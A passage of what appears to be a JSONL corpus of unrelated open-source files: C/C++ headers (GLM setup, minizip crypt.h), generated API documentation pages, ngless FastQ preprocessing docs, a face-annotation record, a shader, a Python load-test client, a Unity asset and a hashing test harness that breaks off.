GLM_LANG_CXXGNU)\n#\t\tpragma message(\"GLM: C++ with GNU language extensions\")\n#\telif(GLM_LANG == GLM_LANG_CXXMS)\n#\t\tpragma message(\"GLM: C++ with VC language extensions\")\n#\telse\n#\t\tpragma message(\"GLM: C++ language undetected\")\n#\tendif//GLM_MODEL\n#endif//GLM_MESSAGE\n\n/////////////////\n// Platform \n\n// User defines: GLM_FORCE_PURE GLM_FORCE_SSE2 GLM_FORCE_AVX\n\n#define GLM_ARCH_PURE\t\t0x0000\n#define GLM_ARCH_SSE2\t\t0x0001\n#define GLM_ARCH_SSE3\t\t0x0002// | GLM_ARCH_SSE2\n#define GLM_ARCH_SSE4\t\t0x0004// | GLM_ARCH_SSE3 | GLM_ARCH_SSE2\n#define GLM_ARCH_AVX\t\t0x0008// | GLM_ARCH_SSE4 | GLM_ARCH_SSE3 | GLM_ARCH_SSE2\n#define GLM_ARCH_AVX2\t\t0x0010// | GLM_ARCH_AVX | GLM_ARCH_SSE4 | GLM_ARCH_SSE3 | GLM_ARCH_SSE2\n\n#if(defined(GLM_FORCE_PURE))\n#\tdefine GLM_ARCH GLM_ARCH_PURE\n#elif(defined(GLM_FORCE_AVX2))\n#\tdefine GLM_ARCH (GLM_ARCH_AVX2 | GLM_ARCH_AVX | GLM_ARCH_SSE3 | GLM_ARCH_SSE2)\n#elif(defined(GLM_FORCE_AVX))\n#\tdefine GLM_ARCH (GLM_ARCH_AVX | GLM_ARCH_SSE3 | GLM_ARCH_SSE2)\n#elif(defined(GLM_FORCE_SSE4))\n#\tdefine GLM_ARCH (GLM_ARCH_SSE4 | GLM_ARCH_SSE3 | GLM_ARCH_SSE2)\n#elif(defined(GLM_FORCE_SSE3))\n#\tdefine GLM_ARCH (GLM_ARCH_SSE3 | GLM_ARCH_SSE2)\n#elif(defined(GLM_FORCE_SSE2))\n#\tdefine GLM_ARCH (GLM_ARCH_SSE2)\n#elif((GLM_COMPILER & GLM_COMPILER_VC) && (defined(_M_IX86) || defined(_M_X64)))\n#\tif(defined(_M_CEE_PURE))\n#\t\tdefine GLM_ARCH GLM_ARCH_PURE\n/* TODO: Explore auto detection of instruction set support\n#\telif(defined(_M_IX86_FP))\n#\t\tif(_M_IX86_FP >= 3)\n#\t\t\tdefine GLM_ARCH (GLM_ARCH_AVX | GLM_ARCH_SSE3 | GLM_ARCH_SSE2)\n#\t\telif(_M_IX86_FP >= 2)\n#\t\t\tdefine GLM_ARCH (GLM_ARCH_SSE2)\n#\t\telse\n#\t\t\tdefine GLM_ARCH GLM_ARCH_PURE\n#\t\tendif\n*/\n#\telif(GLM_COMPILER >= GLM_COMPILER_VC2012)\n#\t\tdefine GLM_ARCH (GLM_ARCH_AVX | GLM_ARCH_SSE3 | GLM_ARCH_SSE2)\n#\telif(GLM_COMPILER >= GLM_COMPILER_VC2010)\n#\t\tif(_MSC_FULL_VER >= 160031118) //160031118: VC2010 SP1 beta full version\n#\t\t\tdefine GLM_ARCH (GLM_ARCH_AVX | GLM_ARCH_SSE3 | GLM_ARCH_SSE2)//GLM_ARCH_AVX (Require SP1)\n#\t\telse\n#\t\t\tdefine GLM_ARCH (GLM_ARCH_SSE3 | GLM_ARCH_SSE2)\n#\t\tendif\n#\telif(GLM_COMPILER >= GLM_COMPILER_VC2008) \n#\t\tdefine GLM_ARCH (GLM_ARCH_SSE3 | GLM_ARCH_SSE2)\n#\telif(GLM_COMPILER >= GLM_COMPILER_VC2005)\n#\t\tdefine GLM_ARCH GLM_ARCH_SSE2\n#\telse\n#\t\tdefine GLM_ARCH GLM_ARCH_PURE\n#\tendif\n#elif((GLM_PLATFORM & GLM_PLATFORM_APPLE) && (GLM_COMPILER & GLM_COMPILER_GCC))\n#\tdefine GLM_ARCH GLM_ARCH_PURE\n#elif(((GLM_COMPILER & GLM_COMPILER_GCC) && (defined(__i386__) || defined(__x86_64__))) || (GLM_COMPILER & GLM_COMPILER_LLVM_GCC))\n#\tdefine GLM_ARCH (GLM_ARCH_PURE \\\n| (defined(__AVX2__) ? GLM_ARCH_AVX2 : 0) \\\n| (defined(__AVX__) ? GLM_ARCH_AVX : 0) \\\n| (defined(__SSE4__) ? GLM_ARCH_SSE4 : 0) \\\n| (defined(__SSE3__) ? GLM_ARCH_SSE3 : 0) \\\n| (defined(__SSE2__) ? GLM_ARCH_SSE2 : 0))\n#else\n#\tdefine GLM_ARCH GLM_ARCH_PURE\n#endif\n\n// With MinGW-W64, including intrinsic headers before intrin.h will produce some errors. The problem is\n// that windows.h (and maybe other headers) will silently include intrin.h, which of course causes problems.\n// To fix, we just explicitly include intrin.h here.\n#if defined(__MINGW32__) && (GLM_ARCH != GLM_ARCH_PURE)\n# include \n#endif\n\n//#if(GLM_ARCH != GLM_ARCH_PURE)\n#if(GLM_ARCH & GLM_ARCH_AVX2)\n#\tinclude \n#endif//GLM_ARCH\n#if(GLM_ARCH & GLM_ARCH_AVX)\n#\tinclude \n#endif//GLM_ARCH\n#if(GLM_ARCH & GLM_ARCH_SSE4)\n#\tinclude \n#endif//GLM_ARCH\n#if(GLM_ARCH & GLM_ARCH_SSE3)\n#\tinclude \n#endif//GLM_ARCH\n#if(GLM_ARCH & GLM_ARCH_SSE2)\n#\tinclude \n#endif//GLM_ARCH\n//#endif//(GLM_ARCH != GLM_ARCH_PURE)\n\n#if(defined(GLM_MESSAGES) && !defined(GLM_MESSAGE_ARCH_DISPLAYED))\n#\tdefine GLM_MESSAGE_ARCH_DISPLAYED\n#\tif(GLM_ARCH == GLM_ARCH_PURE)\n#\t\tpragma message(\"GLM: Platform independent\")\n#\telif(GLM_ARCH & GLM_ARCH_SSE2)\n#\t\tpragma message(\"GLM: SSE2 instruction set\")\n#\telif(GLM_ARCH & GLM_ARCH_SSE3)\n#\t\tpragma message(\"GLM: SSE3 instruction set\")\n#\telif(GLM_ARCH & GLM_ARCH_SSE4)\n#\t\tpragma message(\"GLM: SSE4 instruction set\")\n#\telif(GLM_ARCH & GLM_ARCH_AVX)\n#\t\tpragma message(\"GLM: AVX instruction set\")\n#\telif(GLM_ARCH & GLM_ARCH_AVX2)\n#\t\tpragma message(\"GLM: AVX2 instruction set\")\n#\tendif//GLM_ARCH\n#endif//GLM_MESSAGE\n\n///////////////////////////////////////////////////////////////////////////////////////////////////\n// Support check macros\n\n#define GLM_SUPPORT_ANONYMOUS_UNION() \\\n\t((GLM_LANG & GLM_LANG_CXX98) == GLM_LANG_CXX98)\n\n//#define GLM_SUPPORT_ANONYMOUS_UNION_OF_STRUCTURE() \n//\t(((GLM_LANG & GLM_LANG_CXX11) == GLM_LANG_CXX11) || ((GLM_COMPILER & GLM_COMPILER_VC) && (GLM_LANG & GLM_LANG_CXXMS) == GLM_LANG_CXXMS) || ((GLM_COMPILER & GLM_COMPILER_GCC) && (GLM_LANG == GLM_LANG_CXX0X)))\n\n#define GLM_SUPPORT_ANONYMOUS_UNION_OF_STRUCTURE() \\\n\t(((GLM_LANG & GLM_LANG_CXX11) == GLM_LANG_CXX11) || ((GLM_COMPILER & GLM_COMPILER_VC) && ((GLM_LANG & GLM_LANG_CXXMS) == GLM_LANG_CXXMS)) || ((GLM_LANG == GLM_LANG_CXX0X) == GLM_LANG_CXX0X))\n\n#define GLM_SUPPORT_SWIZZLE_OPERATOR() \\\n\t(/*defined(GLM_SWIZZLE) && */GLM_SUPPORT_ANONYMOUS_UNION_OF_STRUCTURE())\n\n#define GLM_SUPPORT_SWIZZLE_FUNCTION() defined(GLM_SWIZZLE)\n\n///////////////////////////////////////////////////////////////////////////////////////////////////\n// Components\n\n//#define GLM_FORCE_ONLY_XYZW\n#define GLM_COMPONENT_ONLY_XYZW\t\t\t\t0 // To disable multiple vector component names access.\n#define GLM_COMPONENT_CXX98\t\t\t\t\t1 // \n#define GLM_COMPONENT_CXX11\t\t\t\t\t2 // To use anonymous union to provide multiple component names access for class valType. Visual C++ only.\n\n#if(GLM_SUPPORT_ANONYMOUS_UNION_OF_STRUCTURE() && !defined(GLM_FORCE_ONLY_XYZW))\n#\tdefine GLM_COMPONENT GLM_COMPONENT_CXX11\n#elif(GLM_SUPPORT_ANONYMOUS_UNION() && !defined(GLM_FORCE_ONLY_XYZW))\n#\tdefine GLM_COMPONENT GLM_COMPONENT_CXX98\n#else\n#\tdefine GLM_COMPONENT GLM_COMPONENT_ONLY_XYZW\n#endif\n\n#if(defined(GLM_MESSAGES) && !defined(GLM_MESSAGE_COMPONENT_DISPLAYED))\n#\tdefine GLM_MESSAGE_COMPONENT_DISPLAYED\n#\tif(GLM_COMPONENT == GLM_COMPONENT_CXX98)\n#\t\tpragma message(\"GLM: x,y,z,w; r,g,b,a; s,t,p,q component names except of half based vector types\")\n#\telif(GLM_COMPONENT == GLM_COMPONENT_ONLY_XYZW)\n#\t\tpragma message(\"GLM: x,y,z,w component names for all vector types\")\n#\telif(GLM_COMPONENT == GLM_COMPONENT_CXX11)\n#\t\tpragma message(\"GLM: x,y,z,w; r,g,b,a; s,t,p,q component names for all vector types\")\n#\telse\n#\t\terror \"GLM: GLM_COMPONENT value unknown\"\n#\tendif//GLM_MESSAGE_COMPONENT_DISPLAYED\n#endif//GLM_MESSAGE\n\n///////////////////////////////////////////////////////////////////////////////////////////////////\n// Radians\n\n//#define GLM_FORCE_RADIANS\n\n///////////////////////////////////////////////////////////////////////////////////////////////////\n// Static assert\n\n#if(GLM_LANG == GLM_LANG_CXX0X)\n#\tdefine GLM_STATIC_ASSERT(x, message) static_assert(x, message)\n#elif(defined(BOOST_STATIC_ASSERT))\n#\tdefine GLM_STATIC_ASSERT(x, message) BOOST_STATIC_ASSERT(x)\n#elif(GLM_COMPILER & GLM_COMPILER_VC)\n#\tdefine GLM_STATIC_ASSERT(x, message) typedef char __CASSERT__##__LINE__[(x) ? 1 : -1]\n#else\n#\tdefine GLM_STATIC_ASSERT(x, message)\n#\tdefine GLM_STATIC_ASSERT_NULL\n#endif//GLM_LANG\n\n///////////////////////////////////////////////////////////////////////////////////////////////////\n// Qualifiers \n\n// User defines: GLM_FORCE_INLINE GLM_FORCE_CUDA\n\n#if(defined(GLM_FORCE_CUDA) || (GLM_COMPILER & GLM_COMPILER_CUDA))\n#\tdefine GLM_CUDA_FUNC_DEF __device__ __host__ \n#\tdefine GLM_CUDA_FUNC_DECL __device__ __host__ \n#else\n#\tdefine GLM_CUDA_FUNC_DEF\n#\tdefine GLM_CUDA_FUNC_DECL\n#endif\n\n#if GLM_COMPILER & GLM_COMPILER_GCC\n#\tdefine GLM_VAR_USED __attribute__ ((unused))\n#else\n#\tdefine GLM_VAR_USED\n#endif\n\n#if(defined(GLM_FORCE_INLINE))\n#\tif((GLM_COMPILER & GLM_COMPILER_VC) && (GLM_COMPILER >= GLM_COMPILER_VC2005))\n#\t\tdefine GLM_INLINE __forceinline\n#\telif((GLM_COMPILER & GLM_COMPILER_GCC) && (GLM_COMPILER >= GLM_COMPILER_GCC34))\n#\t\tdefine GLM_INLINE __attribute__((always_inline))\n#\telif(GLM_COMPILER & GLM_COMPILER_CLANG)\n#\t\tdefine GLM_INLINE __attribute__((always_inline))\n#\telse\n#\t\tdefine GLM_INLINE inline\n#\tendif//GLM_COMPILER\n#else\n#\tdefine GLM_INLINE inline\n#endif//defined(GLM_FORCE_INLINE)\n\n#define GLM_FUNC_DECL GLM_CUDA_FUNC_DECL\n#define GLM_FUNC_QUALIFIER GLM_CUDA_FUNC_DEF GLM_INLINE\n\n///////////////////////////////////////////////////////////////////////////////////////////////////\n// Swizzle operators\n\n// User defines: GLM_SWIZZLE\n\n#if(defined(GLM_MESSAGES) && !defined(GLM_MESSAGE_SWIZZLE_DISPLAYED))\n#\tdefine GLM_MESSAGE_SWIZZLE_DISPLAYED\n#\tif(GLM_SUPPORT_SWIZZLE_OPERATOR())\n#\t\tpragma message(\"GLM: Swizzling operators enabled\")\n#\telif(GLM_SUPPORT_SWIZZLE_FUNCTION())\n#\t\tpragma message(\"GLM: Swizzling operators supported through swizzling functions\")\n#\telse\n#\t\tpragma message(\"GLM: Swizzling operators disabled\")\n#\tendif\n#endif//GLM_MESSAGE\n\n#endif//glm_setup\n"} +{"text": "\n\n\t\n\t\t\n\t\tOBSlider Class Reference\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\n\t\n\t\t
    \n\t\t\t\n\t\t\t\n\t\t\t
    \n\t\t\t\t

    OBSlider Class Reference

    \n\t\t\t
    \n\t\t\t
      \n\t\t\t\t
    • \n\t\t\t\t\t\n\t\t\t\t
    • \n\t\t\t\t
    • \n\t\t\t\t\t\n\t\t\t\t
    • \n\t\t\t
    \n\t\t
    \n\t\t\n\t\t
    \n\t\t\t
    \n\t\t\t\t\n\t\t\t\t
    \n\t\t\t\t\t\n\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t\t
    \n\t\t\t\t\t\t

    OBSlider Class Reference

    \n\t\t\t\t\t
    \t\t\n\t\t\t\t
    \n\t\t\t\t
    \t\n\t\t\t\t\t\n\t\t\t\t\t
    \n\t\t\t\t\t\t\n\t\n\t\n\n\t\n\t\n\n\t\t\t\t\t\t
    Inherits fromUISlider
    Declared inOBSlider.h
    \n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t
    \n\t\t\t\t\t\t\n\t\t\t\t\t\t

    Tasks

    \n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t
    \n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t
    \n\t\t\t\t\t\t\n\t\t\t\t\t\t

    Properties

    \n\t\t\t\t\t\t\n\t\t\t\t\t\t
    \n\t\n\t

    scrubbingSpeed

    \n\t\n\t\n\n\t
    @property (assign, nonatomic, readonly) float scrubbingSpeed
    \n\n \n
    \n\t\t\t\t\t\t\n\t\t\t\t\t\t
    \n\t\n\t

    scrubbingSpeedChangePositions

    \n\t\n\t\n\n\t
    @property (strong, nonatomic) NSArray *scrubbingSpeedChangePositions
    \n\n \n
    \n\t\t\t\t\t\t\n\t\t\t\t\t\t
    \n\t\n\t

    scrubbingSpeeds

    \n\t\n\t\n\n\t
    @property (strong, nonatomic) NSArray *scrubbingSpeeds
    \n\n \n
    \n\t\t\t\t\t\t\n\t\t\t\t\t
    \n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t\t\n\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t\t\t
    \n\t\t\t\t\t
    \n\t\t\t\t\t\t

    © 2012 Ole Begemann. All rights reserved. (Last updated: 2012-07-16)
    \n\t\t\t\t\t\t\n\t\t\t\t\t\tGenerated by appledoc 2.0.5 (build 789).

    \n\t\t\t\t\t\t\n\t\t\t\t\t
    \n\t\t\t\t
    \n\t\t\t
    \n\t\t
    \n\t\t\n\t\n"} +{"text": "/* crypt.h -- base code for crypt/uncrypt ZIPfile\n\n\n Version 1.01e, February 12th, 2005\n\n Copyright (C) 1998-2005 Gilles Vollant\n\n This code is a modified version of crypting code in Infozip distribution\n\n The encryption/decryption parts of this source code (as opposed to the\n non-echoing password parts) were originally written in Europe. The\n whole source package can be freely distributed, including from the USA.\n (Prior to January 2000, re-export from the US was a violation of US law.)\n\n This encryption code is a direct transcription of the algorithm from\n Roger Schlafly, described by Phil Katz in the file appnote.txt. This\n file (appnote.txt) is distributed with the PKZIP program (even in the\n version without encryption capabilities).\n\n If you don't need crypting in your application, just define symbols\n NOCRYPT and NOUNCRYPT.\n\n This code support the \"Traditional PKWARE Encryption\".\n\n The new AES encryption added on Zip format by Winzip (see the page\n http://www.winzip.com/aes_info.htm ) and PKWare PKZip 5.x Strong\n Encryption is not supported.\n*/\n\n#define CRC32(c, b) ((*(pcrc_32_tab+(((int)(c) ^ (b)) & 0xff))) ^ ((c) >> 8))\n\n/***********************************************************************\n * Return the next byte in the pseudo-random sequence\n */\nstatic int decrypt_byte(unsigned long* pkeys, const z_crc_t* pcrc_32_tab)\n{\n unsigned temp; /* POTENTIAL BUG: temp*(temp^1) may overflow in an\n * unpredictable manner on 16-bit systems; not a problem\n * with any known compiler so far, though */\n (void)pcrc_32_tab;\n\n temp = ((unsigned)(*(pkeys+2)) & 0xffff) | 2;\n return (int)(((temp * (temp ^ 1)) >> 8) & 0xff);\n}\n\n/***********************************************************************\n * Update the encryption keys with the next byte of plain text\n */\nstatic int update_keys(unsigned long* pkeys,const z_crc_t* pcrc_32_tab,int c)\n{\n (*(pkeys+0)) = CRC32((*(pkeys+0)), c);\n (*(pkeys+1)) += (*(pkeys+0)) & 0xff;\n (*(pkeys+1)) = (*(pkeys+1)) * 134775813L + 1;\n {\n int keyshift = (int)((*(pkeys+1)) >> 24);\n (*(pkeys+2)) = CRC32((*(pkeys+2)), keyshift);\n }\n return c;\n}\n\n\n/***********************************************************************\n * Initialize the encryption keys and the random header according to\n * the given password.\n */\nstatic void init_keys(const char* passwd,unsigned long* pkeys,const z_crc_t* pcrc_32_tab)\n{\n *(pkeys+0) = 305419896L;\n *(pkeys+1) = 591751049L;\n *(pkeys+2) = 878082192L;\n while (*passwd != '\\0') {\n update_keys(pkeys,pcrc_32_tab,(int)*passwd);\n passwd++;\n }\n}\n\n#define zdecode(pkeys,pcrc_32_tab,c) \\\n (update_keys(pkeys,pcrc_32_tab,c ^= decrypt_byte(pkeys,pcrc_32_tab)))\n\n#define zencode(pkeys,pcrc_32_tab,c,t) \\\n (t=decrypt_byte(pkeys,pcrc_32_tab), update_keys(pkeys,pcrc_32_tab,c), t^(c))\n\n#ifdef INCLUDECRYPTINGCODE_IFCRYPTALLOWED\n\n#define RAND_HEAD_LEN 12\n /* \"last resort\" source for second part of crypt seed pattern */\n# ifndef ZCR_SEED2\n# define ZCR_SEED2 3141592654UL /* use PI as default pattern */\n# endif\n\nstatic int crypthead(const char* passwd, /* password string */\n unsigned char* buf, /* where to write header */\n int bufSize,\n unsigned long* pkeys,\n const z_crc_t* pcrc_32_tab,\n unsigned long crcForCrypting)\n{\n int n; /* index in random header */\n int t; /* temporary */\n int c; /* random byte */\n unsigned char header[RAND_HEAD_LEN-2]; /* random header */\n static unsigned calls = 0; /* ensure different random header each time */\n\n if (bufSize> 7) & 0xff;\n header[n] = (unsigned char)zencode(pkeys, pcrc_32_tab, c, t);\n }\n /* Encrypt random header (last two bytes is high word of crc) */\n init_keys(passwd, pkeys, pcrc_32_tab);\n for (n = 0; n < RAND_HEAD_LEN-2; n++)\n {\n buf[n] = (unsigned char)zencode(pkeys, pcrc_32_tab, header[n], t);\n }\n buf[n++] = (unsigned char)zencode(pkeys, pcrc_32_tab, (int)(crcForCrypting >> 16) & 0xff, t);\n buf[n++] = (unsigned char)zencode(pkeys, pcrc_32_tab, (int)(crcForCrypting >> 24) & 0xff, t);\n return n;\n}\n\n#endif\n"} +{"text": "========================\nPreprocessing FastQ Data\n========================\n\nPreprocessing FastQ files consists of quality trimming and filtering of reads\nas well as (possible) elimination of reads which match some reference which is\nnot of interest.\n\nQuality-based filtering\n-----------------------\n\nFiltering reads based on quality is performed with the ``preprocess`` function,\nwhich takes a block of code. This block of code will be executed for each read.\nFor example::\n\n ngless \"0.8\"\n\n input = fastq('input.fq.gz')\n\n input = preprocess(input) using |r|:\n r = substrim(r, min_quality=20)\n if len(r) < 45:\n discard\n\nIf it helps you, you can think of the ``preprocess`` block as a ``foreach``\nloop, with the special keyword ``discard`` that removes the read from the\ncollection. Note that the name ``r`` is just a variable name, which you choose\nusing the ``|r|`` syntax.\n\nWithin the preprocess block, you can modify the read in several ways:\n\n- you can trim it with the indexing operator: ``r[trim5:]`` or ``r[:-trim3]``\n\n- you can call ``substrim``, ``endstrim`` or ``smoothtrim`` to trim the read\n based on quality scores. ``substrim`` finds the longest substring such that\n all bases are above a minimum quality (hence the name, which phonetically\n combines substring and trim). ``endstrim`` chops bases off the ends and\n ``smoothtrim`` averages quality scores using a sliding window before applying\n ``substrim``.\n\n- you can test for the length of the sequence (before or after trimming). For\n this, you use the ``len`` function (see example above).\n\n- you can test for the average quality score (using the ``avg_quality()``\n method).\n\nYou can combine these in different ways. For example, the behaviour of the\n`fastx quality trimmer `__ can be\nrecreated as::\n\n preprocess(input) using |r|:\n r = endstrim(r, min_quality=20)\n if r.fraction_at_least(20) < 0.5:\n discard\n if len(r) < 45:\n discard\n\nHandling paired end reads\n~~~~~~~~~~~~~~~~~~~~~~~~~\n\nWhen your input is paired-end, the preprocess call above will handle each mate\nindependently. Three things can happen:\n\n1. both mates are discarded,\n2. both mates are kept (i.e., not discarded),\n3. one mate is kept, the other discarded.\n\nThe only question is what to do in the third case. By default, the\n``preprocess`` call keep the mate turning the read into an unpaired read (a\nsingle), but you can change that behaviour by setting the ``keep_singles``\nargument to ``False``::\n\n preprocess(input, keep_singles=False) using |r|:\n r = substrim(r, min_quality=20)\n if len(r) < 45:\n discard\n\nNow, the output will consist of only paired-end reads.\n\nFiltering reads matching a reference\n------------------------------------\n\nIt is often also a good idea to match reads against some possible contaminant\ndatabase. For example, when studying the host associated microbiome, you will\noften want to remove reads matching the host. It is almost always a good to at\nleast check for human contamination (during lab handling).\n\nFor this, you map the reads against the human genome::\n\n mapped_hg19 = map(input, reference='hg19')\n\nNow, ``mapped_hg19`` is a set of mapped reads. Mapped reads are reads, their\nqualities, plus additional information of how they matched. Mapped read sets\nare the internal ngless representation of SAM files.\n\nTo filter the set, we will ``select``. Like ``preprocess``, ``select`` also\nuses a block for the user to specify the logic::\n\n mapped_hg19 = select(mapped_hg19) using |mr|:\n mr = mr.filter(min_match_size=45, min_identity_pc=90, action={unmatch})\n if mr.flag({mapped}):\n discard\n\nWe first set a minimum match size and identity percentage to avoid spurious\nhits. **We keep the reads** but **unmatch** them (i.e., we clear any\ninformation related to a match). Then, we discard any reads that match by\nchecking the flag ``{mapped}``.\n\nFinally, we convert the mapped reads back to simple reads using the\n``as_reads`` function (this discards the matching information)::\n\n input = as_reads(mapped_hg19)\n\nNow, ``input`` can be passed to the next step in the pipeline.\n"} +{"text": "\n\n\n\n\n\n\nSSD1306 OLED display driver: ssd1306_hal/UserSettings.h File Reference\n\n\n\n\n\n\n\n\n\n
    \n
    \n\n \n \n \n \n \n
    \n
    SSD1306 OLED display driver\n  1.8.2\n
    \n
    This library is developed to control SSD1306/SSD1331/SSD1351/IL9163/PCD8554 RGB i2c/spi LED displays
    \n
    \n
    \n\n\n\n\n\n\n
    \n\n
    \n
    \n\n\n
    \n\n
    \n\n
    \n \n
    \n
    \n
    \n \n
    \n
    UserSettings.h File Reference
    \n
    \n
    \n\n

    Go to the source code of this file.

    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n

    \nMacros

    #define CONFIG_SOFTWARE_I2C_ENABLE
     
    #define CONFIG_TWI_I2C_ENABLE
     
    #define CONFIG_AVR_SPI_ENABLE
     
    #define CONFIG_USI_SPI_ENABLE
     
    #define CONFIG_AVR_UART_ENABLE
     
    #define CONFIG_VGA_ENABLE
     
    #define CONFIG_PLATFORM_I2C_ENABLE
     
    #define CONFIG_PLATFORM_SPI_ENABLE
     
    #define CONFIG_SSD1306_UNICODE_ENABLE
     
    \n

    Detailed Description

    \n

    SSD1306 modules configuration.

    \n\n

    Definition in file UserSettings.h.

    \n
    \n\n
    \nGenerated by  \n\"doxygen\"/\n 1.8.13\n
    \n\n\n"} +{"text": "\n\nwiderface\n23--Shoppers_23_Shoppers_Shoppers_23_791.jpg\n\nwider face Database\nPASCAL VOC2007\nflickr\n-1\n\n\nyanyu\nyanyu\n\n\n1024\n1536\n3\n\n0\n\nface\nUnspecified\n1\n0\n\n450\n231\n531\n360\n\n\n460.438\n277.938\n504.312\n273.062\n478.312\n303.938\n470.188\n323.438\n510.812\n317.75\n0\n0.75\n\n1\n\n\nface\nUnspecified\n1\n0\n\n667\n387\n775\n519\n\n\n694.259\n434.732\n739.929\n435.562\n708.375\n450.509\n693.429\n476.25\n729.964\n477.08\n0\n0.76\n\n1\n\n\nface\nUnspecified\n1\n0\n\n258\n396\n339\n486\n\n\n269.018\n427.46\n300.201\n429.728\n280.357\n448.438\n275.254\n462.045\n300.201\n464.879\n0\n0.74\n\n1\n\n\n"} +{"text": "uniform vec4 emission = vec4(0,0,0,1);\r\n\r\nvoid main()\r\n{\r\n\tgl_Position = fg_ftransform();\r\n\tvec3 normal = normalize(fg_NormalMatrix * fg_Normal); // eye space\r\n\tvec4 color = emission;\r\n\tif (enable_light0) color += add_light_comp0(normal);\r\n\tif (enable_light1) color += add_light_comp1(normal);\r\n\tfg_Color_vf = color;\r\n} \r\n"} +{"text": "import time\nimport random\n\nimport vard\n\nclass VardOpenLoopClient(object):\n EPSILON = 0.000001\n \n def __init__(self, host, port, n_clients=100, put_prob=0.5):\n self.put_prob = put_prob\n self.master = vard.Client(host, port)\n self.clients = {}\n self.request_times = []\n self.outstanding = {}\n self.next_request_time = 0\n for i in range(n_clients):\n c = vard.Client(host, port, sock=self.master.sock)\n self.clients[c.client_id] = c\n self.available_clients = set(self.clients.keys())\n\n def handle_responses(self, resps):\n current_time = time.time()\n for r in resps:\n id = int(r[0])\n assert id in self.outstanding\n self.request_times.append(current_time - self.outstanding[id])\n del self.outstanding[id]\n self.available_clients.add(id)\n\n def make_request(self, client, key):\n if random.random() < self.put_prob:\n client.put_no_wait(key, 42)\n else:\n client.get_no_wait(key)\n \n def loop(self, n, delay):\n for i in range(n):\n current_time = time.time()\n id = self.available_clients.pop()\n c = self.clients[id]\n self.make_request(c, id)\n self.outstanding[id] = current_time\n next_request_time = current_time + delay\n while True:\n if current_time > next_request_time:\n break\n self.handle_responses(self.master.get_responses(next_request_time - current_time + self.EPSILON))\n current_time = time.time()\n while self.outstanding:\n self.handle_responses(self.master.get_responses(None))\n return self.request_times\n"} +{"text": "%YAML 1.1\n%TAG !u! tag:unity3d.com,2011:\n--- !u!114 &11400000\nMonoBehaviour:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_GameObject: {fileID: 0}\n m_Enabled: 1\n m_EditorHideFlags: 0\n m_Script: {fileID: 11500000, guid: 9d1de2691495b304e9843ac3335b626d, type: 3}\n m_Name: overlay_creampie_janborg\n m_EditorClassIdentifier: \n Variance:\n - Frames:\n - sprite: {fileID: 21300000, guid: d8f443a8f32a5ca4b9eb72571666d6ad, type: 3}\n secondDelay: 0\n - Frames:\n - sprite: {fileID: 21300002, guid: d8f443a8f32a5ca4b9eb72571666d6ad, type: 3}\n secondDelay: 0\n - Frames:\n - sprite: {fileID: 21300004, guid: d8f443a8f32a5ca4b9eb72571666d6ad, type: 3}\n secondDelay: 0\n - Frames:\n - sprite: {fileID: 21300006, guid: d8f443a8f32a5ca4b9eb72571666d6ad, type: 3}\n secondDelay: 0\n IsPalette: 0\n setID: 11599\n"} +{"text": "/*\n * crypto_hashblocks/try.c version 20090118\n * D. J. Bernstein\n * Public domain.\n */\n\n#include \n#include \"crypto_hashblocks.h\"\n\nextern unsigned char *alignedcalloc(unsigned long long);\n\nconst char *primitiveimplementation = crypto_hashblocks_IMPLEMENTATION;\n\n#define MAXTEST_BYTES (10000 + crypto_hashblocks_STATEBYTES)\n#define CHECKSUM_BYTES 4096\n#define TUNE_BYTES 1536\n\nstatic unsigned char *h;\nstatic unsigned char *h2;\nstatic unsigned char *m;\nstatic unsigned char *m2;\n\nvoid preallocate(void)\n{\n}\n\nvoid allocate(void)\n{\n h = alignedcalloc(crypto_hashblocks_STATEBYTES);\n h2 = alignedcalloc(crypto_hashblocks_STATEBYTES);\n m = alignedcalloc(MAXTEST_BYTES);\n m2 = alignedcalloc(MAXTEST_BYTES);\n}\n\nvoid predoit(void)\n{\n}\n\nvoid doit(void)\n{\n crypto_hashblocks(h,m,TUNE_BYTES);\n}\n\nchar checksum[crypto_hashblocks_STATEBYTES * 2 + 1];\n\nconst char *checksum_compute(void)\n{\n long long i;\n long long j;\n\n for (i = 0;i < CHECKSUM_BYTES;++i) {\n long long hlen = crypto_hashblocks_STATEBYTES;\n long long mlen = i;\n for (j = -16;j < 0;++j) h[j] = random();\n for (j = hlen;j < hlen + 16;++j) h[j] = random();\n for (j = -16;j < hlen + 16;++j) h2[j] = h[j];\n for (j = -16;j < 0;++j) m[j] = random();\n for (j = mlen;j < mlen + 16;++j) m[j] = random();\n for (j = -16;j < mlen + 16;++j) m2[j] = m[j];\n if (crypto_hashblocks(h,m,mlen) != 0) return \"crypto_hashblocks returns nonzero\";\n for (j = -16;j < mlen + 16;++j) if (m2[j] != m[j]) return \"crypto_hashblocks writes to input\";\n for (j = -16;j < 0;++j) if (h2[j] != h[j]) return \"crypto_hashblocks writes before output\";\n for (j = hlen;j < hlen + 16;++j) if (h2[j] != h[j]) return \"crypto_hashblocks writes after output\";\n for (j = 0;j < hlen;++j) m2[j] = h2[j];\n if (crypto_hashblocks(h2,m2,mlen) != 0) return \"crypto_hashblocks returns nonzero\";\n if (crypto_hashblocks(m2,m2,mlen) != 0) return \"crypto_hashblocks returns nonzero\";\n for (j = 0;j < hlen;++j) if (m2[j] != h2[j]) return \"crypto_hashblocks does not handle overlap\";\n for (j = 0;j < mlen;++j) m[j] ^= h[j % hlen];\n m[mlen] = h[0];\n }\n if (crypto_hashblocks(h,m,CHECKSUM_BYTES) != 0) return \"crypto_hashblocks returns 